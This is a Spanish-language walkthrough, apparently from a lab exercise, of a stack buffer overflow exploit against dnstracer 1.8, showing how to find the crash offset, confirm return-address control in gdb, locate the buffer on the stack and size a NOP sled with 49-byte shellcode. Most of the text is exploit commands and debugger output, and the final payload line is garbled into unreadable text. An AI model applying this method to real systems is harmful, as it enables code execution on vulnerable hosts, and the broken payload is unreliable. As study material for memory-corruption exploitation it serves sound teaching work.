## Inyección de una shell en programa dnstracer-1.8

El primer paso es verificar con cuantos bytes podemos causar un Segmentation fault.

```
sm@ubuntu:~/Documents/dnstracer-1.8$ ./dnstracer $(python -c 'print "A"*1052')
127.0.0.1 (127.0.0.1) * * *
sm@ubuntu:~/Documents/dnstracer-1.8$ ./dnstracer $(python -c 'print "A"*1053'
^^^^^^^
127.0.0.1 (127.0.0.1) * * *
Segmentation fault (core dumped)
sm@ubuntu:~/Documents/dnstracer-1.8$
```

En la imagen notamos que el número con el que sucede es 1053.

A continuación debemos probar que se esté escribiendo información en la dirección de memoria de retorno de la función. Para esto entraremos a gdb y revisaremos los registros.

```
sm@ubuntu:~/Documents/dnstracer-1.8$ gdb ./dnstracer -q
Reading symbols from /home/sm/Documents/dnstracer-1.8/dnstracer...done.
(gdb) b main
Breakpoint 1 at 0x8048ad0: file dnstracer.c, line 1423.
(gdb) r `python -c 'print "A"*1053 + "BBBB"'`
```

Después de correr el programa con esa entrada y de detener la ejecución inmediatamente después del terminar strcpy observamos que en la dirección de retorno existe un 0x42424242, esto indica que se realizaron bien los cálculos y que mediante ese offset podremos cambiar la dirección de retorno.

```
1528
                arqv+=optind;
    1529
    1530
                if (argv[0]==NULL) usage();
    1531
    1532
                // check for a trailing dot
    1533
                strcpy(argv0,argv[0]);
                if (argv0[strlen(argv[0])-1]=='.') argv0[strlen(argv[0])-1]=0;
    1534
    1535
    1536
                printf("Tracing to %s[%s] via %s, maximum of %d retries\n",
    1537
                    argv0,rr_types[global_querytype],server_name,global_retries);
    1538
    1539
                srandom(time(NULL));
    1540
    1541
                {
    1542
                    struct hostent *h;
    1543
                    if (((h=gethostbyname2(server name, AF INET6))==NULL) &&
    1544
                        ((h=gethostbyname2(server_name,AF_INET))==NULL)) {
child process 2991 In: main
(gdb) x/2x $ebp
0xbfffef18:
                0x41414141
                                0x42424242
(gdb)
```

A continuación debemos descubrir en qué dirección de la pila se encuentra el inicio de la cadena que inyectamos, para esto ejecutaremos la siguiente instrucción.

```
(gdb) x/1000x $esp
```

Está instrucción mostrara 1000 bytes de la pila, y nos permitirá determinar la dirección de inicio de nuestra cadena, el indicador de esta será una sucesión de bytes con el código 41.

```
0xbfffeaf0:
                                0xb7fde5dc
                0xb7e31c13
                                                0x00001e3c
                                                                0x41ffeff4
0xbfffeb00:
                0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb10:
                0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb20:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb30:
                                                0x41414141
               0x41414141
                                0x41414141
                                                                0x41414141
                                0x41414141
0xbfffeb40:
               0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb50:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb60:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb70:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb80:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeb90:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffeba0:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffebb0:
               0x41414141
                                0x41414141
                                                0x41414141
                                                                0x41414141
0xbfffebc0:
                                                0x41414141
                                                                0x41414141
                0x41414141
                                0x41414141
---Type <return> to continue, or q <return> to quit---
```

Con esto ya sabremos qué valor colocar en la dirección de memoria que almacena los 0x424242(la dirección de retorno).

Para asegurar que se ejecute correctamente nuestra shell recorreremos un poco el valor que inyectaremos en la dirección de retorno.

Primero pondremos un valor arbitrario para tener una ventana de error, es decir colocaremos una seria de nops(\x90). El valor será 600.

Después irá nuestra shell, está tiene un tamaño de 49 y al final complementaremos con nops y con la dirección de retorno.

```
600+49+y = 1053
v=404
```

Con el cálculo anterior determinaremos los valores exactos para que nuestra inyección funcione, ahora solo queda poner una dirección de retorno más baja que la del inicio de la cadena que inyectamos, es decir, xdir < 0xbfffeb00. Esta dirección también debe estar dentro de los primeros 600 nops.

La cadena a inyectar será la siguiente:

```
python -c 'print "\x90"*600 +
```

 $\label{eq:local_control_cont$ 

Después de inyectarla nos devuelve una shell.